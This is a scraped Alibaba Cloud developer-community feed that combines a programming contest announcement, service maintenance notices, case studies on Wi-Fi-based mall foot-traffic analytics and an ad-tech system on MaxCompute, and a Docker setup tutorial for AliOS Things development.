                  云原生不仅将重塑整个软件生命周期,更能让所有企业充分享受上云的技术红利。初赛我们共准备了三个赛道供您选择(参赛选手可任意挑选1-3个赛道参赛),你准备好了么?点击文末”阅读原文“,直达大赛官网,报名、赛题解析、赛制说明、奇葩任务等都在这里~

                  初赛(05.20—06.30)

                  【赛道1】实现一个分布式统计和过滤的链路追踪

                  出品人:李小平(愚奇) 阿里云中间件首席架构师
                  明星导师:徐建伟(竹影) 阿里云技术专家

                  云原生环境错综复杂,而观察性就是云原生的眼睛。云原生的可观察性面临比较多的挑战,比如高性能,低资源,高质量数据。怎样用最短时间,找出特定特征的结果,是链路追踪的核心技术。

                  【赛道2】实现规模化容器静态布局和动态迁移

                  出品人:张瓅玶(谷朴) 阿里巴巴研究员

                  明星导师:贺伟(烛坤) 阿里云技术专家

                  阿里“双11”每年不断创造奇迹的背后,是巨大的资源成本投入,以支撑0点流量峰值。容器平台每年会承担数十万容器扩容诉求,以满足用户买买买的需求,但却会造成机器资源成本大幅度提升。如何用尽可能少的机器资源,既能保证业务稳定性,又能满足节省大促资源成本的需求,就是容器静态布局及动态迁移的艺术。

                  【赛道3】服务网格控制面分治体系构建

                  出品人:李小平(愚奇) 阿里云中间件首席架构师

                  明星导师:周遥(玄胤) 阿里云高级技术专家

                  阿里拥有百万级别的服务实例。虽然通过 Nacos 可以解决超大规模服务发现问题,但服务网格的先行者 Istio 却一直是单体全量数据,不能横向扩容。因此我们找个办法,通过让不同的 Pilot 实例负责不同的 Sidecar 即分治方式来支撑超大规模的系统。然而这里的一个挑战是:如何分配 Sidecar 才能让 Pilot 集群整体负载均衡 ?

                  首届云原生编程挑战赛作为中间件性能挑战赛的升级版技术赛事,初赛阶段推出“赛道明星”的概念,单独设置“赛道明星奖”-- Iphone 11 (128G),具体说明如下:

                  【赛道明星奖】--每赛道 10 支队伍,每支队伍奖励一部 iPhone11 (128G)

                  1、第一赛季结束后,3 个赛道最终排行榜上,成绩最优 TOP10 团队获得赛道明星奖。

                  2、同一选手只能获得一个赛道明星奖。多赛道入围前 10 排行榜的选手,按最高排行所在赛道计入名次。其余赛道该选手所在团队名次作废,获奖资格顺延。(例:A 选手在赛道 1 获得第一名,与 B 选手组队在赛道 2 获得第二名,则按赛道 1 名次发放奖品,赛道 2 名次作废,获奖资格向下顺延到第 11 名团队。)

                  3、阿里巴巴集团内部选手不参与赛道明星排行。

                  复赛(07.01—08.05)

                  【复赛赛题】实现一个 Serverless 计算服务调度系统

                  出品人:杨皓然(不瞋) 阿里云高级技术专家
                  明星导师:WANG Hongqi 阿里云高级技术专家

                  Serverless 计算服务(如FaaS)实现了根据实际代码执行时间和资源规格计费,这让使用者不用再承担闲置资源费用。服务方会采用多种手段优化服务端资源利用率。在这个优化的过程中,最根本的问题是如何平衡响应时间和资源利用率。

                  赛程安排

                  lALPD3lGqhrRcCTNAYvNBLA_1200_395_png_720x720q90g

                  奖项设置

                  (决赛)外部选手奖项设置:

                  ]]> 【升级】5月消息队列MQ升级计划通知(更新) Fri, 02 May 2025 09:39:04 +0800

                  【阿里云】【消息队列MQ】【升级通知】

                  升级窗口:(已更新)

                  北京时间2020年5月7日 01:00 - 09:00

                  北京时间2020年5月12日 01:00 - 09:00

                  北京时间2020年5月14日 01:00 - 09:00

                  北京时间2020年5月19日 01:00 - 09:00

                  北京时间2020年5月21日 01:00 - 09:00

                  北京时间2020年5月26日 01:00 - 09:00

                  北京时间2020年5月28日 01:00 - 09:00
                  升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

                  升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
                  升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
                  如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

                  给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

                  ]]>
                  【升级】5月13日阿里云域名whois信息查询系统维护通知 Fri, 02 May 2025 09:39:04 +0800

                  【阿里云】【域名】【whois信息查询系统维护通知】
                  维护时间:北京时间2020年5月13日 00:00 - 02:00
                  维护内容:阿里云域名whois信息查询系统维护。
                  维护影响:届时阿里云域名whois信息查询和依赖whois信息校验的相关操作将会受到影响,具体对您造成的影响如下:
                  1、通过阿里云网站(电脑版及手机版)、阿里云APP等进行域名whois信息查询时,whois刷新功能暂时失效,无法获取到最新的域名whois信息。
                  2、域名交易下单时,暂时无法获取最新whois信息、不能准确判断实际域名状态,导致交易失败。
                  3、万网预订开始抢注域名时,暂时无法获取最新whois信息、无法准确判断域名状态,导致注册失败。
                  4、域名转入时,暂时无法获取最新whois信息、不能准确判断域名状态,导致不能提交域名转入。

                  如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。
                  由此给您带来的不便,我们表示歉意,敬请谅解。

                  ]]>
                  【升级】5月消息服务MNS升级计划通知 Fri, 02 May 2025 09:39:04 +0800

                  【阿里云】【消息服务MNS】【升级通知】

                  升级窗口:

                  北京时间2020年5月14日 00:00 - 06:00

                  北京时间2020年5月21日 00:00 - 06:00

                  北京时间2020年5月28日 00:00 - 06:00

                  升级内容:华北1(青岛)、华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、华东2金融云、华南1金融云、华北2政务云、香港、亚太东南1(新加坡)、亚太东南2(悉尼)、亚太东南5(雅加达)、亚太南部1(孟买)、中东东部1(迪拜)、欧洲中部1(法兰克福)、美国东部1(弗吉尼亚)、美国西部1(硅谷)、英国(伦敦)等地域的消息服务升级。

                  升级影响:升级期间MNS相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

                  给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

                  ]]>
                  基于实时计算(Flink)的商场实时客流分析系统——上海鸥新-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:郭华(付空) 阿里云实时计算高级产品经理

                  客户简介
                  上海鸥新软件有限公司专注于室内定位技术和客流统计与分析的研发,如室内定位引擎、客流统计与分析系统。在用户导入客流系统的同时,为商业零售实体店提供了覆盖,微信上网,定时定地点向客户进行精准化商业信息推送等一体化解决方案。

                  产品简介
                  实时客流分析产品主要是基于Wi-Fi的客流统计与分析系统,如下图

                  实时热力图
                  通过实时客流分析系统,制作每个楼层的实时热力图,不同颜色代表客流人数的密集程度。

                  image.png

                  实时客流统计图

                  image.png

                  实时客流分析产品主要服务于商场运营方,提供的功能包括:

                  实时客流分析:商场热力图、店铺热力图、客流数、新老客占比、停留时间和客流时间分布等,为运营决策提供数据支持;
                  精准推送:将Wi-Fi采集到的地址跟现有数据库进行碰撞,针对碰撞出的用户建立用户画像,根据来店情况进行精准推送;
                  位置定向广告:跟商场线下广告屏幕打通,设定地理围栏与规则,命中规则后个性化推荐广告。
                  系统架构
                  整个系统的数据源都是Wi-Fi,Wi-Fi设备的布点是系统成功的关键。在Wi-Fi铺设的过程中会预先记录好设备的位置(所属楼层,平面坐标,所属店铺等),且根据业务情况来Wi-Fi之间是否重叠:如果要精确,需要多点定位,否则尽量Wi-Fi的范围不重叠,防止数据互相污染。

                  image.png

                  数据流程
                  使用Wi-Fi采集设备信息。
                  把采集的数据经过SLB发送到接收服务器。
                  接受服务器把数据发送到消息队列(DataHub)。
                  实时计算订阅DataHub数据。
                  把设备采集到的用户信息跟设备的地理位置信息进行关联。
                  完成处理,然后把结果写出供下游使用。
                  实时计算的处理

                  数据清洗、去重。
                  维表关联,用户mac地址与设备地理信息关联,实时数据与历史数据关联。
                  手机品牌识别,位置识别,新客识别。
                  计算停留时间、生成轨迹。
                  说明 数据收集与清洗部分是整个系统的基础,在这些数据的基础上可再进行精准推送和位置广告等服务。
                  总结
                  鸥新商场实时客流分析平台涉及多台线下设备(2000台设备),实时计算每秒处理输入30K条数据,每秒输出20K条处理后的数据,整体延迟为秒级,整体收益包括:

                  运维成本:免运维,阿里云提供高保障;
                  对接上下游:直接注册,免开发;
                  开发成本:SQL开发,效率高,门槛低,原来单作业Java开发3天的工作量降低到1天内,且BUG少,整个系统重构只需一周。
                  这套系统打通了线下与线上,为商场的运营方得到了不同维度的数据支持,提高了运营活动的效果,为在顾客打造更好的购物体验的同时也提升商场的整体营收。

                  商场实时客流分析系统是IoT技术与大数据实时处理技术结合起来的典型案例。

                  注:本文部分内容来自鸥新蔡新峰的分析,特此感谢。

                  如果你有类似场景需求,欢迎联系付空。

                  ]]>
                  基于MaxCompute构建Noxmobi全球化精准营销系统-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:杨洋 北京多点在线 高级架构师
                  摘要:大数据计算服务(MaxCompute,原名ODPS)是一种快速、完全托管的TB/PB级数据仓库解决方案。MaxCompute向用户提供了完善的数据导入方案以及多种经典的分布式计算模型,能够更快速的解决用户海量数据计算问题,有效降低企业成本,并保障数据安全。在本文中北京多点在线高级架构师杨洋分享了基于MaxCompute构建Noxmobi全球化精准营销系统。

                  本文内容根据演讲视频以及PPT整理而成。

                  多点在线属于泛娱乐行业的公司,主打产品是Nox夜神模拟器,其主要用于在PC端玩手游,该产品目前已经稳居国内市场占有率第一两年多的时间了,处于行业领导者的地位。Nox下面主要有两个品牌:Noxmobi和Influencer。

                  演讲嘉宾简介:

                  杨洋,多点在线高级架构师。

                  本文分享将主要围绕以下三个方面:

                  一、行业及公司背景介绍

                  二、广告业务和系统

                  三、相关技术及MaxCompute应用

                  一、行业及公司背景介绍

                  行业介绍:什么是数字营销

                  目前全球广告市场规划约6000亿,其中约30%为互联网和移动互联网广告,所以这块蛋糕也是很大的。数字营销、互联网广告、在线广告、计算广告、程序化广告等所说的基本上都是同一件事情,这些主要解决的问题就是如何在互联网媒体上投放广告的问题。

                  行业介绍:什么是数字营销?

                  image.png

                  数字营销主要有三方参与者:广告主、媒体和中间商。

                  广告主(需求方):其需求往往是面对流量和库存的,其最大需求就是如何成本更低,效果更好。而效果的定义往往是不同的,一般分为品牌和效果两种。对于品牌而言,比如可口可乐打广告,人们看到广告可能不会立即去买一瓶喝,但是品牌广告会深植在人们的心里,进而产生长期的效应;而效果广告比如在头条上看到一个广告,用户当时看到有兴趣可能就会点击之后进行下载了,这样就能发生直接的转化效果,这种就叫做效果广告。

                  媒体(供应方):其需求比较简单,就是如何收益更高。收益具有长期和短期之分,媒体往往不能因为短期的高利益而放弃媒体的形象,这样才能让长期的利益更高。

                  中间商:主要就是通过连接供需来赚差价。有些广告宣传的中间商不赚差价基本上是不可能的,只不过是怎么赚和什么时候赚的问题。赚取差价的主要手段就是规模效应和垄断,而无论是广告主和媒体只要能够垄断就能够具有更高的议价权。

                  总而言之,数字营销就是应用最新的互联网技术来提高营销效率,会应用比较前沿的人工智能、机器学习、经济学上的博弈论等。广告主会追求减少浪费,让最合适的人看到广告,这也是数字营销相比传统营销的特点。媒体则是将广告为卖给最需要的人,最需要的人则将会通过出价体现自己的需要。中间商则是高效地撮合交易。如下图所示的是广告行业的简单生态图,图中的DSP大概就是前面提到的需求方,也就是广告主。其右边是流量方也就是媒体,下面这部分则是赚取差价的中间商。

                  image.png

                  二、广告业务和系统

                  Nox夜神介绍:Three major product systems support to capture high-LTV users with low cost

                  image.png
                  上图中最左边是Noxmobi广告平台;中间的是Influencer,在国外基本上就是网红;最右边的NoxPlayer和NoxCleaner就是Nox自有的媒体流量,多点在线的广告也主要会投放在这些广告上。

                  Nox夜神介绍:Manage Every Marketing Stage
                  image.png

                  如上图所示的是夜神在发行前期、中期和后期所应该使用的相应产品。

                  Nox夜神介绍:Pre-Launch and Launch Marketing

                  image.png

                  如上图所示的就是Nox流量上的广告位,图中右侧是模拟器的启动图和Launcher部分的广告位,这些广告也不会非常影响用户的体验。Nox主要是做海外的生意,而国内和海外的广告市场是不同的,所以也是分开来做的。

                  NoxInfluencer示例

                  image.png

                  如上图所示的是目前主推的Influencer,目前也有一波流量红利,找网红推送APP,右图是Nox为Keep做的广告,比如在健身教练所发出的视频或者直播,给教练一些收益,一起来做视频,也可以看到Keep的广告收益也是非常好的。目前Nox也对于自己的流量端产品用Influencer进行营销,花费大约10万,使得自然新增达到了每天1万,APP开发者都知道这其实是一个非常可观的数字,因为自然新增能够将应用在GooglePlay上的排名推到很高的位置,使得NoxCleaner在一些国家直接达到工具排行榜的前三。

                  广告业务流程介绍:Online advertising

                  image.png

                  在线广告业务的基本流程可以从用户的访问开始,用户首先打开一个APP或者访问一个页面,当发生了用户访问行为之后,一般在APP里面会有广告的SDK,之后SDK就会触发展示然后去请求广告的内容。SDK一般会与一个SSP关联,属于某一家SSP,然后去SSP上请求广告。SSP再对接ADX,也就是之前所提到的中间商,其主要负责撮合交易。ADX又会对接很多的DSP,并向很多的DSP发起竞价邀请,DSP则将会代表广告主决定是否需要投广告以及广告的出价是多少,并在ADX进行多家的比较,做一次竞价的拍卖,价高者得,但是按照第二高价收费,再将获胜者一步步返回给用户,用户最终就会看到赢得本次竞价的广告。广告后续还会发生一些点击、下载、安装等行为,并进行进一步跟踪。

                  Nox广告系统演进
                  image.png

                  ac2ff3a2bedd0907fbb6783900f38f223619dc56
                  如上图所示的是Nox广告系统的演进情况,首先可能与小开发者一样直接集成第三方的SDK,而第三方的SDK的广告是完全不能被控制的,只不过会每天给Nox一定的收益,而在这个阶段其实收益也是比较低的。后来,Nox就自己做了一个广告展示模块,由业务同学去接国外的离线Offer,在国外某些广告主或者品牌会放出来一些离线的Offer,这样的收益就比第一阶段高出了很多,这个阶段的系统会自己在客户端做展示模块,而在业务Server里面则会有相应的展示控制模块,再往后就是在接到Offer之后做一些简单的CTL预估,之后再做一些比较并将收益比较高的投放出去。第三个阶段系统展现图中的中心部分就是广告业务,最外层的两个模块就是原来的业务系统,最外层两个模块之间的连接就会变得很细,基本上只做流量切分的工作,而中心部分就是前面所提到的DSP、SSP以及集成的ADX模块,从而形成一个完整的广告生态。在这里,除了自己本身的DSP还会和第三方的DSP进行竞价保证流量的收益最大化。此外,SDK还可以做成融合的,虽然其不开放,但是将做成展现其他第三方SDK也会产生一些收益。

                  三、相关技术及MaxCompute应用

                  DSP 系统数据流及相关服务

                  SSP和ADX相对而言比较简单,因此在这部分将会重点讲述一下DSP系统数据流。Rtb就是Runtime Bidding,也是DSP里面比较重要的一个部分,主要是做实时竞价的。所以广告流程一般而言就是从Rtb模块开始,在竞价的过程中会产生Bidding的Event,并将Bidding的Event都输入到Kafka里面,Kafka里面会有订阅的消息,一直更新大的Cache,这里面的数据会通过流式计算做成feature再反馈给Rtb系统。Pixel就是事件服务,比如发生了展现或者安装之后就会访问到这个服务,而这个服务将会Tracking到本次广告的所有Session,这样的数据也会流入Kafka,同样由Updater和流式计算进行处理。而从Kafka里面会另外分出来一只数据流通过高速通道回流到中心节点,也就是MaxCompute上面。MaxCompute会进行一些离线的报表计算和特征,报表就会输出到DSP Report上面(比如RDS)。

                  image.png

                  其实Nox设计的所有广告的核心数据将会走这样的一套比较复杂的流程,而一些运营相关的非核心数据则会主要使用了自己搭建在阿里云上的神策这款BI服务,其也属于企业级的应用服务。

                  流式计算Spark Streaming应用

                  流式计算Spark Streaming主要用于实现实时的报表以及实时特征的计算。因为业务的主要要求是必须稳定并且能够实现7*24小时的可用。可以接受秒级延迟,比如广告投出去了,晚10秒钟展现在报表里也是没问题的。可根据吞吐量横向扩展,比如突然新接了几家SSP,突然变得流量很大,不能在这个时候让系统挂掉。此外,因为业务在全球都有,所以需要全球的聚合任务,需要通过一个平台看到各个国家的数据。

                  image.png

                  Nox选择的方案就是:Spark Streaming能够将上面几项需求全部满足,另外就是配合Kafka、RDS以及Redis做输出。在部署上面,需要实现小集群独占,这里所用到的就是阿里云EMR,其可以帮助客户托管集群,Nox只需要在阿里云EMR上面申请一个小集群,比如三到五台机器,这些机器申请之后就不再释放掉了,会一直独占着,并且7*24小时地跑流式计算任务。原始日志压缩流式回传,这个是因为Nox在各个数据中心都有Bidder或者Pixel的服务,会产生很多数据,之前的一种方案是在每个中心先将数据计算成半成品,之后在进行回传,这样所用的带宽就会比较小,但是如果采用这样方案,那么所有的功能都需要开发两套,在本地先计算,之后传回来再进行聚合计算,这样就会比较复杂,因此最终决定将日志进行压缩,以流式方式进行回传,这样的方案在验证之后发现所占的带宽不是很大,而因为是流式传输,因此带宽也比较平稳,虽然这里所用的带宽属于高速通道带宽,因此成本也可以接受。而压缩则使用了Kafka,其是能够支持压缩协议的。此外,中心节点部署能够方便开发。

                  上图中最底层就是阿里云的EMR托管服务,在其上是DSP平台和SSP平台,他们的集群是分开的,如果流量特别大,某一个平台被打挂掉了,另外一个平台是不会受到影响的。而托管服务的好处就是能够托管很小的集群,对于企业而言也没有什么成本。Kafka里面输入的就是Event的Topic,之后还会输出回Kafka,这样Updater再将Kafka里面的数据放到Redis或者RDS用于构建模型和计算报表。这样的设计的唯一问题就是比较依赖于高速通道,这样稳定性和扩展性就有可能受到限制。

                  离线计算MaxCompute应用

                  离线计算部分,Nox主要使用了MaxCompute。几乎使用了MaxCompute来解决各类数据计算问题,BI数据、广告报表、反作弊、标签抽取、特征数据计算、统一用户标识、爬虫数据处理等。其实在一开始,Nox也是自建Hadoop集群,购买了阿里云的ECS搭建集群,从最开始的6台一直到后来的十几台,这时候实在扛不住了,机器经常宕机,因为使用的是Spark,因此内存很容易占满,某一天用户突然增多了,数据就没了。此外,这样的成本也非常高,因为当时主要运行BI数据,所以基本上都是在晚上运行的,而白天机器则处于空闲状态,因此成本很高。后来采用了EMR的按量付费集群,晚上申请之后跑数据,但是白天能够释放掉,但是这样的过程则是比较漫长的,需要10到20分钟。后来Nox开始接触到MaxCompute,使用起来非常好,其带来了很多优势。首先,不再需要运维集群了,此外其计算速度很快,虽然说Spark的计算速度很快,但是小集群的Spark和大集群的Hadoop是无法比拟的,所以大集群的Hadoop其实计算速度是很快的。MaxCompute是真正的按量付费,因此成本也能够大大降低,而自建Hadoop、使用EMR以及使用MaxCompute的成本是成量级降低的。差距也是非常大的。主要使用SQL开发,效率比较高,也便于调试,文档也比较清晰。此外,MaxCompute还提供了一个还不错的调度系统,如果是自己搭建这样调度系统还是比较困难的。

                  image.png

                  对于数据的导入和导出而言,因为Nox有很多海外的服务,有些服务是不能覆盖到的。所以Nox采取的策略是优先使用数据同步服务,而流式数据则使用SDK,当数据同步和SDK都不合适就写脚本+tunnel导入和导出数据。

                  如上图所示的文件数据主要是爬虫,因为一些服务的日志是达到OSS上的,并且有一些外部数据也是先上传到OSS上面的。RDS则是什么都有的,广告业务数据就是前面所提到的,这些数据会选择合适的方式统一进入到MaxCompute的分区表里面。SQL计算基本上都会用到,MaxCompute则是在SQL写起来很费力或者运行很慢的情况下使用。图计算使用的并不多,只是会在计算同一用户UUID的情况下使用,这里应用了最小连通域的算法,比如一个用户使用了多个设备,则需要将这些设备统一地关联到同一个用户身上。而PAI平台对于广告的CTL预估非常重要。

                  特征计算和标签抽取

                  如下图所示的某第三方DMP的对外标签体系的示例,大概分了几类,比如人口学、设备信息等大类,在每个大类下面还会有多个标签。特征一般而言就是连续值,标签则是指将连续值做一些规则之后所打的标签。举例而言,定义特征,最近一周内活跃天数,则有0~7的取值。而定义标签规则,则是一周内活跃0天、1天、2~3天、4~5天、6~7天的分别是不活跃、低活跃、中活跃、高活跃、极高活跃用户。当在做好定义之后,就要看大家的SQL写的是好是坏了。之前在不支持with的时候,SQL代码一般都要写很大一堆,而且很难改动。此外,在写SQL的时候注意代码分隔还是很重要的。另外的一些建议就是优先使用內建函数,虽然一些內建函数和UDF的功能差不多,可能一个UDF能够实现两三个內建函数的功能,但是效率却相差了很多,虽然使用內建函数会让代码看起来丑一些,但是绝对比UDF运行速度要快得很多,所以在內建函数无法满足需求的时候再去考虑UDF,实在不行就可以用MapReduce实现,比如对一大批特征做等频离散化。

                  image.png

                  上述这些都是DMP的标准功能,但是Nox目前还没将其实现平台化,都是使用标签写的。而阿里云上有标签服务,目前也在考虑使用。

                  Targeting

                  所谓Targeting就是人群定向,相对于把特征输入模型而言,标签式Targeting主要是方便人来操作,使用投放人的经验通过标签定向的方式来优化表达。比如在广告投放初期可以比较好地缩放盲打范围。另外一种则是Look-alike方式,Look-alike方式的定向为寻找相似的人,种子用户为正例,从所有用户中找到正例概率较大的人群。以上就是定向的两种主要方式。

                  image.png

                  如上图所示的定向的主要做法就是将内部和外部的数据输入到MaxCompute里面,经过各种计算将标签化的数据或者用机器学习标注好的数据同步到线上并缓存好。之后在进行实时竞价RTB里面查询缓存,命中之后就在DSP里面由广告主配置,命中了就投放广告,否则就不投放。

                  Ctr预估

                  Ctr预估是Nox投入比较多的一项工作。Ctr预估并不一定是预估Ctr,还可能去预估Cvr甚至是Ctr和Cvr的乘积,这些统称为Ctr预估。其作用是首先计算Ecpm的值,Ecpm就是每次展现的期望收益,期望是一个概率论上的概念,其等于用单价乘上本次收益可能的概率。Ecpm也将指导绝大部分投放相关策略。

                  image.png

                  如上图所示,主要分为两条线,一条是离线数据会走MaxCompute,而在线则会走Spark Streaming。总体最后会输入到标签和特征的大Cache里面,Cache中的数据有一部分直接加载到内存里面,另外一部分比如用户特征无法加入内存就会在Inference服务查询缓存,这里就会组合出一个特征的向量,用来计算Ctr的值,并将值返回给Rtb的Bidder,在Bidder做一系列的策略,最终得出竞价的决策。竞价完成之后,是否参与、是否竞价成功以及是否展现等日志都会灌入回MaxCompute或者Spark Streaming进行模型训练,最终对已有模型进行更新,形成一个整体的闭环。Online model需要使用Spark Streaming,而Deep learning就需要用TensorFlow等了。

                  Pacing

                  Pacing比较复杂一些,其就是不止考虑单次展现的收益,而要在单次竞价时考虑对全局收益的影响,比如考虑一天之内总收益如何,比如可能将转化率最高的Offer在一天开始的两小时内都投完了,但是其他的Offer都没有投出去,这样计算下来总收益并不如将全部广告都投完的收益高。Pacing的整体思路就是通过对流量分层和分时的统计和预估,用数学方法来保证全局收益的最大化。Nox则根据Yahoo的论文实现了自己的方案,这里面最核心的就是将Ctr估算准确,并将分层和分时的各种统计值计算好,然后按照其策略执行即可。

                  image.png

                  Nox目前也在寻求更多的合作伙伴,希望更多与具有出海意向的开发者进行深入合作。

                  image.png

                  ]]>
                  如何使用 Docker 进行编译和开发-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 112.jpg
                  镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

                  一、Linux环境开发

                  适用于Linux环境开发者,有专门代码服务器或虚拟机

                  1. 安装docker

                  $ sudo apt-get install docker-ce

                  2. 获取docker镜像

                  $ docker pull registry.cn-hangzhou.aliyuncs.com/alios_things/rtos:latest

                  3. 启动docker

                  为其命名alios-docker:

                  $ docker run -it --privileged --name alios-docker registry.cn-hangzhou.aliyuncs.com/alios_things/rtos /bin/bash

                  注意:

                  • 退出docker后,可用以下命令重新启动已有docker:
                  $ docker container start -ia alios-docker
                  • 镜像更新前,需要备份有用的代码,重新获取新镜像并启动

                  二、Mac环境开发

                  适用于无专门代码服务器或虚拟机,习惯mac本机开发

                  适用场景一:有linux经验,代码编辑与编译均可在docker环境下进行

                  1. 下载mac环境下的docker工具包并安装

                  打开https://docs.docker.com/toolbox/overview/#whats-in-the-box
                  5.png
                  安装后打开Toolbox的DOCKER CLI, 实际上进入mac 的Terminal, 再继续下面的操作

                  2. 获取docker镜像

                  $ docker pull registry.cn-hangzhou.aliyuncs.com/alios_things/rtos:latest

                  3. 启动docker

                  为其命名alios-docker:

                  $ docker run -it --privileged --name alios-docker registry.cn-hangzhou.aliyuncs.com/alios_things/rtos bin/bash

                  4. 获取代码

                  1. 组件化工具获取:按需选择适当组件获取需要的代码 本地zip文件,或 wget http链接(根据所选组件生成源码下载的链接) 获取
                  2. github获取:将获取全量代码
                  git clone https://github.com/alibaba/AliOS-Things.git -b <release_branch_name>

                  注意:

                  • 退出docker后,可用以下命令重新启动已有docker:
                  $ docker container start -ia alios-docker
                  • 需要烧机时,配置docker USB设备,参考Windows下的USB设备配置,启动docker命令中无需-v参数

                  适用场景二:代码编辑和调试在mac,编译和烧录在docker下进行

                  与mac场景一比较,需要建立共享目录,完成代码在两种环境中的共享。

                  1. 下载docker工具

                  同上

                  2. 获取docker镜像

                  同上

                  3. 获取代码

                  推荐组件化工具获取,将zip包解压到本机某个目录下, 如 /Users/xxx/alios

                  4. 启动docker

                  为其命名alios-docker,并指定本机与docker的目录映射关系: 使用-v 参数 -v <本机代码所在目录名>:

                  $ docker run -it --privileged --name alios-docker -v /Users/xxx/alios:/workspace registry.cn-hangzhou.aliyuncs.com/alios_things/rtos bin/bash

                  至此,可以达到对/Users/xxx/alios中的代码进行本地编辑和调试,而编译时, 转入docker中的/workspace下,执行

                  # aos2.1.0以及后续版本
                  aos make <app>@<board> -c config && aos make 
                  # aos2.1.0之前版本
                  aos make <app>@<board>

                  注意: 需要烧机时,配置docker USB设备,参考Windows下的USB设备配置, 启动docker命令中-v 参数稍有差别

                  三、Windows环境开发

                  适用于无专门代码服务器或虚拟机, 习惯Windows本机开发

                  适用场景一:有linux经验,可工作于linux虚拟机

                  1. 下载Windows环境下的docker工具包并安装

                  打开https://docs.docker.com/toolbox/overview/#whats-in-the-box下载windows下的docker工具
                  6.png
                  Toolbox将默认安装VirtualBox,之后打开Docker Quickstart Terminal进行下面的操作

                  2. 获取docker 镜像

                  $ docker pull registry.cn-hangzhou.aliyuncs.com/alios_things/rtos:latest

                  3. 启动docker

                  $ docker run -it --privileged --name alios-docker registry.cn-hangzhou.aliyuncs.com/alios_things/rtos bash

                  4. 获取代码

                  1. 组件化工具获取:按需选择适当组件获取需要的代码 本地zip文件,或 wget http链接(根据所选组件生成源码下载的链接) 获取
                  2. github获取:将获取对应发布分支的代码 git clone https://github.com/alibaba/AliOS-Things.git -b

                  注意: 

                  • 退出docker后,可用以下命令重新启动已有docker:
                  $ docker container start -ia alios-docker
                  • 需要烧录设备时, 参考Windows场景二中的USB设备配置,docker启动时,无需-v参数

                  适用场景二:代码编辑和调试在windows,编译和烧录在docker下进行

                  与场景一比较,需要建立共享目录,完成代码在两种环境中的共享。

                  1. 下载docker工具

                  同上

                  2. 获取docker镜像

                  同上

                  3. 获取代码

                  推荐组件化工具获取,将zip包解压到本机某个目录下, 如d:work

                  4. 启动docker, 带目录共享能力

                  方式一:创建共享目录的docker
                  执行如下脚本,按要求copy命令并执行后即可 set_share_folder.zip
                  例如:需要做 d:work与 docker中的/workspace的目录共享,执行脚本后,命令如下:
                  1)脚本执行后,自动停在虚拟机终端:

                  $ sudo mkdir –parents /d/work
                  $ sudo mount –tvboxsf d/work /d/work/
                  $ exit

                  2)退出后回到windows命令行,启动AliOS docker:

                  $ docker run -it --privileged --name alios-docker -v /d/work:/workspace/ registry.cn-hangzhou.aliyuncs.com/alios_things/rtos bash

                  这样就启动了一个AliOS Things的docker, 之后可以在docker环境里进行编译开发.
                  注意:Windows下取消共享目录命令:

                  C:/Program Files/Oracle/VirtualBox/VBoxManage.exe sharedfolder remove default --name d/work

                  方式二:利用samba服务的docker
                  1)创建存储volume, 便于与docker下的目录共享:

                  $ docker volume create --name aos-vol

                  2)启动docker:为其命名alios-docker,并-v指定volume目录映射到docker中的/workspace

                  $ docker run -it --privileged -p445:445 --name alios-docker -v aos-vol:/workspace/ registry.cn-hangzhou.aliyuncs.com/alios_things/rtos bash

                  3)安装samba并配置, 此时已进入docker环境:

                  $ apt install samba
                  $ vim /etc/samba/smb.conf   #在文件最后添加以下内容
                  [alios]
                     path = /workspace
                     public = yes
                     case sensitive = yes
                     map archive = no
                     only guest = yes
                     writable = yes
                     force user = aosuser
                     force group = aosuser
                  $ groupadd -g 1000 aosuser             #添加分组,与上面指定的分组名保持一致
                  $ useradd -m -u 1000 -g 1000 aosuser   #添加用户,与上面指定的用户名保持一致

                  4)启动samba daemon:

                  $ /usr/sbin/smbd

                  5)获取docker的虚拟IP: 回到Docker Quickstart Terminal里查看ip

                  $ docker-machine ip
                  192.168.99.100

                  6)配置网络连接:在windows下按win+R键,调出运行窗口,输入ip
                  7.png
                  此时,在windows下可访问docker里的内容, 亦可随意添加内容到docker目录里:
                  8.png

                  四、配置docker_usb设备

                  注:如果无烧录需求, 可忽略此步骤
                  1)打开Docker Quickstart Terminal (Mac时,可直接使用mac terminal),停止缺省虚拟机:

                  $ docker-machine stop default

                  2)打开VirtualBox的管理界面,设置->usb设备->点选“启用usb控制器”->添加usb设备->确认
                  9.png
                  3)重新运行缺省虚拟机:

                  $ docker-machine start default

                  或者打开一个新的Docker Quickstart Terminal

                  $ docker-machine ssh default

                  4)检测usb设备:连线后使用下面命令进行检测

                  $ dmesg | grep1 usb
                  ........
                  [   19.942282] usb 1-2: cp210x converter now attached to ttyUSB0

                  5)欲使用usb设备的功能,启动docker时需添加新的启动参数--privileged,而-v参数根据目录共享需要添加:

                  $ docker run -it --privileged --name alios-things -v /d/work:/workspace/ registry.cn-hangzhou.aliyuncs.com/alios_things/rtos bash

                  6)编译代码,使用aos命令烧写: 比如烧写适配developerkit板子的helloworld应用的image:

                  $ aos upload helloworld@developerkit
                  .......
                  [INFO]: Firmware upload succeed!

                  阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

                  ]]>
